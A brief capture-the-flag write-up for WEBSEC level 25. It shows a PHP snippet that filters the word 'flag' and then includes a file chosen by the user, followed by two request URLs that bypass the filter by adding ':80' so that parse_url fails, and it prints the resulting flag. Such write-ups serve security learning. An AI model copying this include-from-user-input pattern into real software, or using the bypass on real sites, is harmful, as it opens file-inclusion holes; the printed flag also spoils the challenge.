WEBSEC Level 25
Challenge description
Nobody listen to techno, nor to wrap music.
Initial analysis
?php
                  parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);
                  foreach ($query as $k => $v) {                       if (stripos($v, 'flag') !== false) die('You are not allowed to get the flag, sorry :/'); }
              include $_GET['page'] . '.txt';
              ?>`
Walk through
"parse_url returns false when t has ':' in its parameters"
STEP 1: http://websec.fr/level25/index.php?page=flag OUTPUT: You are not allowed to get the flag, sorry :/
STEP 2: http://websec.fr/level25/index.php?page=flag&b=:80 OUTPUT: WEBSEC{How_am_I_supposed_to_parse_uri_when_everything_is_so_broooken}
FLAG: WEBSEC{How_am_I_supposed_to_parse_uri_when_everything_is_so_broooken}
For further queries, please DM me on Twitter: https://twitter.com/gopika-subramanian.